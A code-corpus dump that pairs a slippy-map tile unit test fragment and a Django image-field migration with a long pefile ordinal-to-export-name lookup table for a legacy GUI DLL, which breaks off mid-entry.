self.assertEqual(10, len( slippy_util.convert_path_to_tiles( 4, [point_8x8, point_8x11, point_11x11, point_11x8]))) # corner to corner should be 7 self.assertEqual(7, len( slippy_util.convert_path_to_tiles( 4, [point_8x8, point_11x11]))) self.assertEqual(7, len( slippy_util.convert_path_to_tiles( 4, [point_8x11, point_11x8]))) # triangle to the bottom is 11 self.assertEqual(11, len( slippy_util.convert_polygon_to_tiles( 4, [point_11x8, point_8x11, point_11x11, point_11x8])))

43.301587

84

0.661901

12663adde6dee25c0714369e6ef31c046edf352b

570

py

Python

django_app/visitas_granada/migrations/0007_auto_20200619_1039.py

AngelValera/SSBW

7bcd1380b2406de7a4850a7e00b1428f2fb5c099

[ "MIT" ]

null

django_app/visitas_granada/migrations/0007_auto_20200619_1039.py

AngelValera/SSBW

7bcd1380b2406de7a4850a7e00b1428f2fb5c099

[ "MIT" ]

5

2020-06-18T16:30:42.000Z

2022-01-13T02:54:01.000Z

django_app/visitas_granada/migrations/0007_auto_20200619_1039.py

AngelValera/SSBW

7bcd1380b2406de7a4850a7e00b1428f2fb5c099

[ "MIT" ]

null

# Generated by Django 3.0.7 on 2020-06-19 08:39 import django.core.validators from django.db import migrations import sorl.thumbnail.fields class Migration(migrations.Migration): dependencies = [ ('visitas_granada', '0006_auto_20200619_1036'), ] operations = [ migrations.AlterField( model_name='visita', name='foto', field=sorl.thumbnail.fields.ImageField(blank=True, upload_to='fotos', validators=[django.core.validators.FileExtensionValidator(allowed_extensions=['jpg', 'png'])]), ), ]

27.142857

177

0.67193

c9b12faec58d2939adc18b008f7e310703d46457

111,264

py

Python

s/sv221mn.py

byeongal/pefile_ordlookup

9400d24890601e4ec47f3b279b72f4fd9ca1d58d

[ "MIT" ]

null

s/sv221mn.py

byeongal/pefile_ordlookup

9400d24890601e4ec47f3b279b72f4fd9ca1d58d

[ "MIT" ]

null

s/sv221mn.py

byeongal/pefile_ordlookup

9400d24890601e4ec47f3b279b72f4fd9ca1d58d

[ "MIT" ]

null

# md5 : e4d92ee9e51d571e98231351d2b9aa6d # sha1 : f28d4e3190863734ac8a6759692cf3b5c9e210a8 # sha256 : a6939c20ced2c6ac4f4b0eb4294044094ab00c6303133c696ccdfb43d4bc3c16 ord_names = { 20: b'??0Link@@QAE@ABV0@@Z', 21: b'??0Link@@QAE@XZ', 22: b'??0Stack@@QAE@GG@Z', 23: b'??1Stack@@QAE@XZ', 24: b'??4Link@@QAEAAV0@ABV0@@Z', 25: b'?Call@Link@@QAEJPAX@Z', 26: b'?Count@Container@@QBEKXZ', 27: b'?Count@Stack@@QBEKXZ', 28: b'?GetObject@Stack@@QBEPAXK@Z', 29: b'?Pop@Stack@@QAEPAXXZ', 30: b'?Push@Stack@@QAEXPAX@Z', 31: b'?First@List@@QAEPAXXZ', 32: b'?Next@List@@QAEPAXXZ', 33: b'??0Date@@QAE@ABVResId@@@Z', 34: b'??0International@@QAE@ABVResId@@@Z', 35: b'??0ResMgr@@QAE@PAD@Z', 36: b'??0Resource@@QAE@ABVResId@@@Z', 37: b'??0String@@QAE@ABVResId@@@Z', 38: b'??0Time@@QAE@ABVResId@@@Z', 39: b'??1ResMgr@@QAE@XZ', 40: b'?Clear@STACK_TYPE@@QAEXPBVResource@@G@Z', 41: b'?GetClass@ResMgr@@QAEPAXXZ', 42: b'?GetId@ResId@@QBEGXZ', 43: b'?GetRT@ResId@@QBEFXZ', 44: b'?GetRemainSize@ResMgr@@QAEGXZ', 45: b'?GetRes@Resource@@QAEXABVResId@@@Z', 46: b'?GetResManager@Resource@@SGPAVResMgr@@XZ', 47: b'?GetResource@ResMgr@@QAEEFGPAURSHEADER_TYPE@@PBVResource@@@Z', 48: b'?GetStringSize@ResMgr@@SGGG@Z', 49: b'?GetStringSize@ResMgr@@SGGPAD@Z', 50: b'?GetpResource@ResId@@QBEPAURSHEADER_TYPE@@XZ', 51: b'?Increment@ResMgr@@QAEPAXG@Z', 52: b'?IncrementRes@Resource@@SGPAXG@Z', 53: b'?IsAvailable@ResMgr@@QBEEFGPAURSHEADER_TYPE@@PBVResource@@@Z', 54: b'?PopContext@ResMgr@@QAEXPBVResource@@@Z', 55: b'?SetRT@ResId@@QBEABV1@F@Z', 56: b'?SetResManager@Resource@@SGXPAVResMgr@@@Z', 57: b'?TestRes@Resource@@QAEXXZ', 58: b'?TestStack@ResMgr@@QAEXPBVResource@@@Z', 59: b'??0Color@@QAE@ABVResId@@@Z', 60: b'??8Color@@QBEEABV0@@Z', 61: b'??9Color@@QBEEABV0@@Z', 62: b'?ChangeBlue@Color@@QAEGG@Z', 63: b'?ChangeColorName@Color@@QAE?AW4ColorName@@W42@@Z', 64: b'?ChangeGreen@Color@@QAEGG@Z', 65: b'?ChangeRed@Color@@QAEGG@Z', 66: b'?GetBlue@Color@@QBEGXZ', 67: b'?GetClassRes@Resource@@SGPAXXZ', 68: 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b'?Remove@ToolItemList@@QAEPAUToolItem@@K@Z', 1185: b'?RemoveItem@ToolBox@@QAEXG@Z', 1186: b'?RequestHelp@ToolBox@@UAEXABVHelpEvent@@@Z', 1187: b'?Resize@ToolBox@@UAEXXZ', 1188: b'?Select@ToolBox@@UAEXXZ', 1189: b'?SetHelpText@ToolBox@@QAEXGABVString@@@Z', 1190: b'?SetItemBitmap@ToolBox@@QAEXGABVBitmap@@@Z', 1191: b'?SetItemDisableBitmap@ToolBox@@QAEXGABVBitmap@@@Z', 1192: b'?SetItemText@ToolBox@@QAEXGABVString@@@Z', 1193: b'?Show@ToolBox@@QAEXXZ', 1194: b'??0StatusBar@@QAE@PAVWindow@@ABVResId@@@Z', 1195: b'??0StatusBar@@QAE@PAVWindow@@G@Z', 1196: b'??0StatusItem@@QAE@ABU0@@Z', 1197: b'??0StatusItem@@QAE@XZ', 1198: b'??0StatusItemList@@QAE@GG@Z', 1199: b'??1StatusBar@@UAE@XZ', 1200: b'??1StatusItem@@QAE@XZ', 1201: b'??1StatusItemList@@QAE@XZ', 1202: b'??BString@@QBGPBDXZ', 1203: b'??_7StatusBar@@6B@', 1204: b'??_GStatusBar@@UAEPAXI@Z', 1205: b'??_GStatusItem@@QAEPAXI@Z', 1206: b'??_GStatusItemList@@QAEPAXI@Z', 1207: b'?ChangeAlign@StatusBar@@QAE?AW4StatusBarAlign@@W42@@Z', 1208: b'?Clear@StatusBar@@QAEXXZ', 1209: b'?Clear@StatusItemList@@QAEXXZ', 1210: b'?Click@StatusBar@@UAEXXZ', 1211: b'?CopyItems@StatusBar@@QAEXABV1@@Z', 1212: b'?Count@StatusItemList@@QBEKXZ', 1213: b'?DoubleClick@StatusBar@@UAEXXZ', 1214: b'?First@StatusItemList@@QAEPAUStatusItem@@XZ', 1215: b'?GetCurPos@StatusItemList@@QBEKXZ', 1216: b'?GetItemCount@StatusBar@@QBEGXZ', 1217: b'?GetItemId@StatusBar@@QBEGG@Z', 1218: b'?GetItemPos@StatusBar@@QBEGG@Z', 1219: b'?GetItemRect@StatusBar@@QBE?AVRectangle@@G@Z', 1220: b'?GetItemText@StatusBar@@QBE?AVString@@G@Z', 1221: b'?GetObject@StatusItemList@@QBEPAUStatusItem@@K@Z', 1222: b'?HideItems@StatusBar@@QAEXXZ', 1223: b'?Insert@StatusItemList@@QAEXPAUStatusItem@@K@Z', 1224: b'?InsertItem@StatusBar@@QAEEGGW4StatusItemAlign@@GG@Z', 1225: b'?MouseButtonDown@StatusBar@@UAEXABVMouseEvent@@@Z', 1226: b'?Next@StatusItemList@@QAEPAUStatusItem@@XZ', 1227: b'?Paint@StatusBar@@UAEXABVRectangle@@@Z', 1228: b'?Remove@StatusItemList@@QAEPAUStatusItem@@K@Z', 1229: b'?RemoveItem@StatusBar@@QAEXG@Z', 1230: b'?Resize@StatusBar@@UAEXXZ', 1231: b'?SetItemText@StatusBar@@QAEXGABVString@@@Z', 1232: b'?SetText@StatusBar@@QAEXABVString@@@Z', 1233: b'?ShowItems@StatusBar@@QAEXXZ', 1234: b'??0Palette@@QAE@ABV0@@Z', 1235: b'??0Palette@@QAE@G@Z', 1236: b'??0Palette@@QAE@GQAVColor@@E@Z', 1237: b'??1PalColor@@QAE@XZ', 1238: b'??1Palette@@QAE@XZ', 1239: b'??4Palette@@QAEAAV0@ABV0@@Z', 1240: b'??8Palette@@QBEEABV0@@Z', 1241: b'??9Palette@@QBEEABV0@@Z', 1242: b'??APalette@@QAEAAVColor@@G@Z', 1243: b'??APalette@@QBE?AVColor@@G@Z', 1244: b'??_GPalColor@@QAEPAXI@Z', 1245: b'?ChangeAnimate@Palette@@QAEEGE@Z', 1246: b'?ChangeColor@Palette@@QAE?AVColor@@GABV2@@Z', 1247: b'?ChangeEntryCount@Palette@@QAEGG@Z', 1248: b'?GetColor@Palette@@QBE?AVColor@@G@Z', 1249: b'?GetEntryCount@Palette@@QBEGXZ', 1250: b'?IsAnimate@Palette@@QBEEG@Z', 1251: b'?SetAnimate@Palette@@QAEXE@Z', 1252: b'?SetSVData@@YGXPAUSVDATA@@@Z', 1253: b'??0OutDevList@@QAE@GG@Z', 1254: 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b'??0KeyEvent@@QAE@DABVKeyCode@@G@Z', 1303: b'??0MouseEvent@@QAE@XZ', 1304: b'?ColorToWin@@YGKABVColor@@@Z', 1305: b'?DeleteBitmap@@YGXPAUHBITMAP__@@@Z', 1306: b'?First@PalWindowList@@QAEPAVWindow@@XZ', 1307: b'?GetClassIcon@@YGPAUHICON__@@PAUHWND__@@@Z', 1308: b'?GetEditSelection@@YGXPAUHWND__@@AAK1@Z', 1309: b'?GetMenuSelectMsgFlags@@YGIIJ@Z', 1310: b'?GetMenuSelectMsgId@@YGIIJ@Z', 1311: b'?GetMenuSelectMsgMenu@@YGPAUHMENU__@@IJ@Z', 1312: b'?GetMenuSelectMsgPopupMenu@@YGPAUHMENU__@@IJ@Z', 1313: b'?GetPos@PalWindowList@@QBEKPAVWindow@@@Z', 1314: b'?GetStyle@Brush@@QBE?AW4BrushStyle@@XZ', 1315: b'?IsTransparent@Font@@QBEEXZ', 1316: b'?IsVisible@Cursor@@QBEEXZ', 1317: b'?Max@Range@@QAEAAFXZ', 1318: b'?MessageHook@@YGJHIJ@Z', 1319: b'?Min@Range@@QAEAAFXZ', 1320: b'?Next@PalWindowList@@QAEPAVWindow@@XZ', 1321: b'?SelectBitmap@@YGPAUHBITMAP__@@PAUHDC__@@PAU1@@Z', 1322: b'?SetClassBrush@@YGPAUHBRUSH__@@PAUHWND__@@PAU1@@Z', 1323: b'?SetClassIcon@@YGXPAUHWND__@@PAUHICON__@@@Z', 1324: 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1465: b'?SethIcon@Sysdepen@@SGXAAVIcon@@PAUHICON__@@H@Z', 1466: b'?SethMetaFile@Sysdepen@@SGXAAVGDIMetaFile@@PAUHMETAFILE__@@@Z', 1467: b'?SethWnd@Sysdepen@@SGXAAVWindow@@PAUHWND__@@@Z', 1468: b'??0Menu@@QAE@ABVResId@@@Z', 1469: b'??0Menu@@QAE@XZ', 1470: b'??0MenuBar@@QAE@ABV0@@Z', 1471: b'??0MenuBar@@QAE@ABVResId@@@Z', 1472: b'??0MenuBar@@QAE@XZ', 1473: b'??0PopupMenu@@QAE@ABV0@@Z', 1474: b'??0PopupMenu@@QAE@ABVResId@@@Z', 1475: b'??0PopupMenu@@QAE@XZ', 1476: b'??1Menu@@UAE@XZ', 1477: b'??1MenuBar@@UAE@XZ', 1478: b'??1PopupMenu@@UAE@XZ', 1479: b'??4Menu@@QAEAAV0@ABV0@@Z', 1480: b'??4MenuBar@@QAEAAV0@ABV0@@Z', 1481: b'??4PopupMenu@@QAEAAV0@ABV0@@Z', 1482: b'??_7Menu@@6B@', 1483: b'??_7MenuBar@@6B@', 1484: b'??_7PopupMenu@@6B@', 1485: b'??_GMenu@@UAEPAXI@Z', 1486: b'??_GMenuBar@@UAEPAXI@Z', 1487: b'??_GPopupMenu@@UAEPAXI@Z', 1488: b'?Activate@Menu@@UAEXXZ', 1489: b'?ChangeAccelKey@Menu@@QAE?AVKeyCode@@GABV2@@Z', 1490: b'?ChangeHelpId@Menu@@QAEKGK@Z', 1491: b'?ChangePopupMenu@Menu@@QAEPAVPopupMenu@@GPAV2@@Z', 1492: b'?CheckItem@Menu@@QAEXGE@Z', 1493: b'?Clear@Menu@@QAEXXZ', 1494: b'?Deactivate@Menu@@UAEXXZ', 1495: b'?DrawAppMenu@@YGXPAVMenu@@@Z', 1496: b'?EnableItem@Menu@@QAEXGE@Z', 1497: b'?Execute@PopupMenu@@QAEGABVPoint@@@Z', 1498: b'?GetAccelKey@Menu@@QBE?AVKeyCode@@G@Z', 1499: b'?GetCurItemId@Menu@@QBEGXZ', 1500: b'?GetHelpId@Menu@@QBEKG@Z', 1501: b'?GetHelpText@Menu@@QBE?AVString@@G@Z', 1502: b'?GetItemBitmap@Menu@@QBE?AVBitmap@@G@Z', 1503: b'?GetItemCount@Menu@@QBEGXZ', 1504: b'?GetItemId@Menu@@QBEGG@Z', 1505: b'?GetItemPos@Menu@@QBEGG@Z', 1506: b'?GetItemText@Menu@@QBE?AVString@@G@Z', 1507: b'?GetItemType@Menu@@QBE?AW4MenuItemType@@G@Z', 1508: b'?GetPopupMenu@Menu@@QBEPAVPopupMenu@@G@Z', 1509: b'?GetPos@Stack@@QBEKPBX@Z', 1510: b'?GetText@PopupMenu@@QBE?AVString@@XZ', 1511: b'?Highlight@Menu@@UAEXXZ', 1512: b'?InitMenu@@YGXPAVMenu@@@Z', 1513: b'?InsertItem@Menu@@QAEEABVResId@@G@Z', 1514: b'?InsertItem@Menu@@QAEEGABVBitmap@@GG@Z', 1515: b'?InsertItem@Menu@@QAEEGABVString@@GG@Z', 1516: b'?InsertSeparator@Menu@@QAEXG@Z', 1517: b'?IsItemChecked@Menu@@QBEEG@Z', 1518: b'?IsItemEnabled@Menu@@QBEEG@Z', 1519: b'?PopActivateHdl@Menu@@QAE?AVLink@@XZ', 1520: b'?PopDeactivateHdl@Menu@@QAE?AVLink@@XZ', 1521: b'?PopHighlightHdl@Menu@@QAE?AVLink@@XZ', 1522: b'?PopSelectHdl@Menu@@QAE?AVLink@@XZ', 1523: b'?PushActivateHdl@Menu@@QAEXABVLink@@@Z', 1524: b'?PushDeactivateHdl@Menu@@QAEXABVLink@@@Z', 1525: b'?PushHighlightHdl@Menu@@QAEXABVLink@@@Z', 1526: b'?PushSelectHdl@Menu@@QAEXABVLink@@@Z', 1527: b'?RemoveItem@Menu@@QAEXG@Z', 1528: b'?RequestHelp@Menu@@UAEXABVHelpEvent@@@Z', 1529: b'?Select@Menu@@UAEXXZ', 1530: b'?SetAutoMenu@@YGXPAVMenu@@GPAVPopupMenu@@@Z', 1531: b'?SetHelpText@Menu@@QAEXGABVString@@@Z', 1532: b'?SetItemBitmap@Menu@@QAEXGABVBitmap@@@Z', 1533: b'?SetItemText@Menu@@QAEXGABVString@@@Z', 1534: b'?SetText@PopupMenu@@QAEXABVString@@@Z', 1535: b'??0MenuAccel@@QAE@XZ', 1536: b'??0MenuItemData@@QAE@XZ', 1537: b'??1MenuAccel@@QAE@XZ', 1538: b'??1MenuItemData@@QAE@XZ', 1539: b'??8KeyCode@@QBEEABV0@@Z', 1540: b'??_GMenuAccel@@QAEPAXI@Z', 1541: b'??_GMenuItemData@@QAEPAXI@Z', 1542: b'??0AutoTimer@@QAE@ABV0@@Z', 1543: b'??0AutoTimer@@QAE@XZ', 1544: b'??0Timer@@QAE@ABV0@@Z', 1545: b'??0Timer@@QAE@XZ', 1546: b'??1Timer@@QAE@XZ', 1547: b'??4Timer@@QAEAAV0@ABV0@@Z', 1548: b'??_7AutoTimer@@6B@', 1549: b'??_7Timer@@6B@', 1550: b'?ChangeTimeout@Timer@@QAEKK@Z', 1551: b'?Start@Timer@@QAEXXZ', 1552: b'?Stop@Timer@@QAEXXZ', 1553: b'?Timeout@Timer@@UAEXXZ', 1554: b'??0IDLEDATA@@QAE@XZ', 1555: b'??0IdleList@@QAE@GGG@Z', 1556: b'??1IdleList@@QAE@XZ', 1557: b'??_GIdleList@@QAEPAXI@Z', 1558: b'?Count@IdleList@@QBEKXZ', 1559: b'?First@IdleList@@QAEPAUIDLEDATA@@XZ', 1560: b'?GetCurPos@IdleList@@QBEKXZ', 1561: b'?Insert@IdleList@@QAEXPAUIDLEDATA@@K@Z', 1562: b'?Next@IdleList@@QAEPAUIDLEDATA@@XZ', 1563: b'?Remove@IdleList@@QAEPAUIDLEDATA@@XZ', 1564: b'?Remove@List@@QAEPAXXZ', 1565: b'?Seek@IdleList@@QAEPAUIDLEDATA@@K@Z', 1566: b'?Seek@List@@QAEPAXK@Z', 1567: b'??0TimerDataList@@QAE@GGG@Z', 1568: b'??1TimerDataList@@QAE@XZ', 1569: b'??_GTimerDataList@@QAEPAXI@Z', 1570: b'?Count@TimerDataList@@QBEKXZ', 1571: b'?First@TimerDataList@@QAEPAUTIMERDATA@@XZ', 1572: b'?GetCurObject@List@@QBEPAXXZ', 1573: b'?GetCurObject@TimerDataList@@QBEPAUTIMERDATA@@XZ', 1574: b'?Insert@TimerDataList@@QAEXPAUTIMERDATA@@K@Z', 1575: b'?Next@TimerDataList@@QAEPAUTIMERDATA@@XZ', 1576: b'?Remove@TimerDataList@@QAEPAUTIMERDATA@@XZ', 1577: b'??0Help@@QAE@XZ', 1578: b'?DisableBalloonMode@Help@@SGEXZ', 1579: b'?EnableBalloonMode@Help@@SGEXZ', 1580: b'?GetHelpFile@Help@@QBE?AVString@@XZ', 1581: b'?IsBalloonModeEnabled@Help@@SGEXZ', 1582: b'?SetHelpFile@Help@@QAEXABVString@@@Z', 1583: b'?ShowBalloon@Help@@SGEABVPoint@@ABVRectangle@@ABVString@@@Z', 1584: b'?ShowBalloon@Help@@SGEABVPoint@@ABVString@@@Z', 1585: b'?Start@Help@@QAEEABVString@@@Z', 1586: b'?Start@Help@@QAEEK@Z', 1587: b'?Beep@Sound@@SGXW4SoundType@@@Z', 1588: b'??0KeyCode@@QAE@ABVResId@@@Z', 1589: b'??0KeyCode@@QAE@W4KeyFuncType@@@Z', 1590: b'?GetFunction@KeyCode@@QBE?AW4KeyFuncType@@XZ', 1591: b'?GetName@KeyCode@@QBE?AVString@@XZ', 1592: b'??0Config@@QAE@ABV0@@Z', 1593: b'??0Config@@QAE@ABVString@@@Z', 1594: b'??0Config@@QAE@XZ', 1595: b'??0ConfigData@@QAE@ABV0@@Z', 1596: b'??0ConfigData@@QAE@ABVString@@@Z', 1597: b'??1Config@@QAE@XZ', 1598: b'??1ConfigData@@QAE@XZ', 1599: b'??4Config@@QAEAAV0@ABV0@@Z', 1600: b'??8Config@@QBEEABV0@@Z', 1601: b'??9Config@@QBEEABV0@@Z', 1602: b'??_GConfigData@@QAEPAXI@Z', 1603: b'?DeleteGroup@Config@@QAEXABVString@@@Z', 1604: b'?DeleteKey@Config@@QAEXABVString@@@Z', 1605: b'?GetGroup@Config@@QBE?AVString@@XZ', 1606: b'?GetKeyCount@Config@@QBEGXZ', 1607: b'?GetKeyName@Config@@QBE?AVString@@G@Z', 1608: b'?GetPathName@Config@@QBE?AVString@@XZ', 1609: b'?ReadKey@Config@@QBE?AVString@@ABV2@0@Z', 1610: b'?ReadKey@Config@@QBE?AVString@@ABV2@@Z', 1611: b'?ReadKey@Config@@QBE?AVString@@G@Z', 1612: b'?SetGroup@Config@@QAEXABVString@@@Z', 1613: b'?WriteKey@Config@@QAEXABVString@@0@Z', 1614: b'??0OutputDevice@@QAE@ABVResId@@@Z', 1615: b'??0OutputDevice@@QAE@XZ', 1616: b'??1OutputDevice@@UAE@XZ', 1617: b'??_7OutputDevice@@6B@', 1618: b'??_GOutputDevice@@UAEPAXI@Z', 1619: b'?ChangeBackgroundBrush@OutputDevice@@QAE?AVBrush@@ABV2@@Z', 1620: b'?ChangeFillInBrush@OutputDevice@@QAE?AVBrush@@ABV2@@Z', 1621: b'?ChangeFont@OutputDevice@@QAE?AVFont@@ABV2@@Z', 1622: b'?ChangePen@OutputDevice@@QAE?AVPen@@ABV2@@Z', 1623: b'?ChangeRasterOp@OutputDevice@@QAE?AW4RasterOp@@W42@@Z', 1624: b'?DrawLine@OutputDevice@@QAEXABVPoint@@0@Z', 1625: b'?DrawPixel@OutputDevice@@QAEXABVPoint@@ABVColor@@@Z', 1626: b'?DrawPoint@OutputDevice@@QAEXABVPoint@@@Z', 1627: b'?DrawRect@OutputDevice@@QAEXABVRectangle@@GG@Z', 1628: b'?GetAlign@Font@@QBE?AW4FontAlign@@XZ', 1629: b'?GetStyle@Pen@@QBE?AW4PenStyle@@XZ', 1630: b'?GetWidth@Pen@@QBEGXZ', 1631: b'?HighlightRect@OutputDevice@@QAEXABVRectangle@@@Z', 1632: b'?InvertRect@OutputDevice@@QAEXABVRectangle@@@Z', 1633: b'?Remove@OutDevList@@QAEPAVOutputDevice@@PAV2@@Z', 1634: b'?Remove@PalWindowList@@QAEPAVWindow@@PAV2@@Z', 1635: b'?SetWindowFont@@YGXPAUHWND__@@PAUHFONT__@@H@Z', 1636: b'??0EnvStack@@QAE@GG@Z', 1637: b'??0StackEntry@@QAE@XZ', 1638: b'??1EnvStack@@QAE@XZ', 1639: b'??1StackEntry@@QAE@XZ', 1640: b'??_GEnvStack@@QAEPAXI@Z', 1641: b'??_GStackEntry@@QAEPAXI@Z', 1642: b'?ChangeClipRegion@OutputDevice@@QAE?AVRegion@@ABV2@@Z', 1643: b'?ChangeClipRegion@OutputDevice@@QAE?AVRegion@@XZ', 1644: b'?ColorToSV@@YG?AVColor@@K@Z', 1645: b'?Count@EnvStack@@QBEKXZ', 1646: b'?DrawBitmap@OutputDevice@@QAEXABVPoint@@ABVBitmap@@@Z', 1647: b'?DrawBitmap@OutputDevice@@QAEXABVPoint@@ABVSize@@ABVBitmap@@@Z', 1648: b'?DrawIcon@OutputDevice@@QAEXABVPoint@@ABVIcon@@@Z', 1649: b'?DrawOutDev@OutputDevice@@QAEXABVPoint@@ABVSize@@01ABV1@@Z', 1650: b'?GetBitmap@OutputDevice@@QBE?AVBitmap@@ABVPoint@@ABVSize@@@Z', 1651: b'?GetClipRegion@OutputDevice@@QBE?AVRegion@@XZ', 1652: b'?GetOutputSize@OutputDevice@@QBE?AVSize@@XZ', 1653: b'?GetOutputSizePixel@OutputDevice@@UBE?AVSize@@XZ', 1654: b'?GetPixel@OutputDevice@@QBE?AVColor@@ABVPoint@@@Z', 1655: b'?IntersectClipRegion@OutputDevice@@QAE?AVRegion@@ABVRectangle@@@Z', 1656: b'?MoveClipRegion@OutputDevice@@QAE?AVRegion@@FF@Z', 1657: b'?Pop@EnvStack@@QAEPAUStackEntry@@XZ', 1658: b'?Pop@OutputDevice@@QAEXXZ', 1659: b'?Push@EnvStack@@QAEXPAUStackEntry@@@Z', 1660: b'?Push@OutputDevice@@QAEXXZ', 1661: b'?DrawKernText@OutputDevice@@QAEXABVPoint@@ABVString@@GGPAF@Z', 1662: b'?DrawStretchText@OutputDevice@@QAEXABVPoint@@GABVString@@GG@Z', 1663: b'?DrawText@OutputDevice@@QAEXABVPoint@@ABVString@@GG@Z', 1664: b'?GetKernTextSize@OutputDevice@@QBE?AVSize@@ABVString@@GGPAF@Z', 1665: b'?GetStretchTextSize@OutputDevice@@QBE?AVSize@@ABVString@@GGGGG@Z', 1666: b'?GetTextSize@OutputDevice@@QBE?AVSize@@ABVString@@GG@Z', 1667: b'?IsOutline@Font@@QBEEXZ', 1668: b'?IsShadow@Font@@QBEEXZ', 1669: b'?DrawArc@OutputDevice@@QAEXABVRectangle@@ABVPoint@@1@Z', 1670: b'?DrawEllipse@OutputDevice@@QAEXABVRectangle@@@Z', 1671: b'?DrawPie@OutputDevice@@QAEXABVRectangle@@ABVPoint@@1@Z', 1672: b'?DrawPolyLine@OutputDevice@@QAEXABVPolygon@@@Z', 1673: b'?DrawPolyPolygon@OutputDevice@@QAEXABVPolyPolygon@@@Z', 1674: b'?DrawPolygon@OutputDevice@@QAEXABVPolygon@@@Z', 1675: b'??0DevFontList@@QAE@GG@Z', 1676: b'??0DevFontListEntry@@QAE@PBD@Z', 1677: b'??1DevFontList@@QAE@XZ', 1678: b'??1DevFontListEntry@@QAE@XZ', 1679: b'??_GDevFontList@@QAEPAXI@Z', 1680: b'??_GDevFontListEntry@@QAEPAXI@Z', 1681: b'?Count@DevFontList@@QBEKXZ', 1682: b'?EnumFontsProc@@YGHPBUtagLOGFONTA@@PBUtagTEXTMETRICA@@KJ@Z', 1683: b'?First@DevFontList@@QAEPAUDevFontListEntry@@XZ', 1684: b'?GetColorCount@OutputDevice@@QBEKXZ', 1685: b'?GetDevFont@OutputDevice@@QBE?AVFont@@G@Z', 1686: b'?GetDevFontCount@OutputDevice@@QBEGXZ', 1687: b'?GetDevFontSize@OutputDevice@@QBE?AVSize@@ABVFont@@G@Z', 1688: b'?GetDevFontSizeCount@OutputDevice@@QBEGABVFont@@@Z', 1689: b'?GetFontMetric@OutputDevice@@QBE?AVFontMetric@@ABVFont@@@Z', 1690: b'?GetFontMetric@OutputDevice@@QBE?AVFontMetric@@XZ', 1691: b'?GetName@Font@@QBEABVString@@XZ', 1692: b'?GetObject@DevFontList@@QBEPAUDevFontListEntry@@K@Z', 1693: b'?GetSolidColor@OutputDevice@@QBE?AVColor@@ABV2@@Z', 1694: b'?GetStrikeout@Font@@QBE?AW4FontStrikeout@@XZ', 1695: b'?GetUnderline@Font@@QBE?AW4FontUnderline@@XZ', 1696: b'?Insert@DevFontList@@QAEXPAUDevFontListEntry@@K@Z', 1697: b'?IsItalic@Font@@QBEEXZ', 1698: b'?Next@DevFontList@@QAEPAUDevFontListEntry@@XZ', 1699: b'??0VirtualDevice@@QAE@ABVOutputDevice@@@Z', 1700: b'??0VirtualDevice@@QAE@XZ', 1701: b'??1VirtualDevice@@UAE@XZ', 1702: b'??_7VirtualDevice@@6B@', 1703: b'??_GVirtualDevice@@UAEPAXI@Z', 1704: b'?GetOutputSizePixel@VirtualDevice@@UBE?AVSize@@XZ', 1705: b'?SetOutputSize@VirtualDevice@@QAEEABVSize@@E@Z', 1706: b'?SetOutputSizePixel@VirtualDevice@@QAEEABVSize@@E@Z', 1707: b'??0PrnTable@@QAE@XZ', 1708: b'??_GAutoTimer@@QAEPAXI@Z', 1709: b'??_GTimer@@QAEPAXI@Z', 1710: b'?Add@PrnTable@@QAEXPAUHDC__@@PAVPrinter@@@Z', 1711: b'?Get@PrnTable@@QAEPAVPrinter@@PAUHDC__@@@Z', 1712: b'?GetName@Printer@@QBEABVString@@XZ', 1713: b'?IsDefPrinter@Printer@@QBEEXZ', 1714: b'?PrintAbortProc@@YGHPAUHDC__@@H@Z', 1715: b'?Remove@PrnTable@@QAEPAVPrinter@@PAUHDC__@@@Z', 1716: b'??0BME@@QAE@ABU0@@Z', 1717: b'??0BME@@QAE@XZ', 1718: b'??0BrushList@@QAE@GGG@Z', 1719: b'??0FME@@QAE@ABU0@@Z', 1720: b'??0FME@@QAE@XZ', 1721: b'??0FontList@@QAE@GGG@Z', 1722: b'??0PME@@QAE@XZ', 1723: b'??0PenList@@QAE@GGG@Z', 1724: b'??1BME@@QAE@XZ', 1725: b'??1BrushList@@QAE@XZ', 1726: b'??1FME@@QAE@XZ', 1727: b'??1FontList@@QAE@XZ', 1728: b'??1PME@@QAE@XZ', 1729: b'??1PenList@@QAE@XZ', 1730: b'??_GBME@@QAEPAXI@Z', 1731: b'??_GBrushList@@QAEPAXI@Z', 1732: b'??_GFME@@QAEPAXI@Z', 1733: b'??_GFontList@@QAEPAXI@Z', 1734: b'??_GPME@@QAEPAXI@Z', 1735: b'??_GPenList@@QAEPAXI@Z', 1736: b'?First@BrushList@@QAEPAUBME@@XZ', 1737: b'?First@FontList@@QAEPAUFME@@XZ', 1738: b'?First@PenList@@QAEPAUPME@@XZ', 1739: b'?GetCharOrientation@Font@@QBEFXZ', 1740: b'?GetCharSet@Font@@QBE?AW4CharSet@@XZ', 1741: b'?GetColorName@Color@@QBE?AW4ColorName@@XZ', 1742: b'?GetCurObject@BrushList@@QBEPAUBME@@XZ', 1743: b'?GetCurObject@FontList@@QBEPAUFME@@XZ', 1744: b'?GetCurObject@PenList@@QBEPAUPME@@XZ', 1745: b'?GetFamily@Font@@QBE?AW4FontFamily@@XZ', 1746: b'?GetLineOrientation@Font@@QBEFXZ', 1747: b'?GetPitch@Font@@QBE?AW4FontPitch@@XZ', 1748: b'?GetStockBrush@@YGPAUHBRUSH__@@H@Z', 1749: b'?GetStockPen@@YGPAUHPEN__@@H@Z', 1750: b'?GetWeight@Font@@QBE?AW4FontWeight@@XZ', 1751: b'?Insert@BrushList@@QAEXPAUBME@@K@Z', 1752: b'?Insert@FontList@@QAEXPAUFME@@K@Z', 1753: b'?Insert@PenList@@QAEXPAUPME@@K@Z', 1754: b'?Next@BrushList@@QAEPAUBME@@XZ', 1755: b'?Next@FontList@@QAEPAUFME@@XZ', 1756: b'?Next@PenList@@QAEPAUPME@@XZ', 1757: b'?Remove@BrushList@@QAEPAUBME@@PAU2@@Z', 1758: b'?Remove@BrushList@@QAEPAUBME@@XZ', 1759: b'?Remove@FontList@@QAEPAUFME@@PAU2@@Z', 1760: b'?Remove@FontList@@QAEPAUFME@@XZ', 1761: b'?Remove@PenList@@QAEPAUPME@@PAU2@@Z', 1762: b'?Remove@PenList@@QAEPAUPME@@XZ', 1763: b'??0Icon@@QAE@ABV0@@Z', 1764: b'??0Icon@@QAE@ABVResId@@@Z', 1765: b'??0Icon@@QAE@W4IconStyle@@@Z', 1766: b'??0Icon@@QAE@XZ', 1767: b'??1Icon@@QAE@XZ', 1768: b'??4Icon@@QAEAAV0@ABV0@@Z', 1769: b'??8Icon@@QBEEABV0@@Z', 1770: b'??9Icon@@QBEEABV0@@Z', 1771: 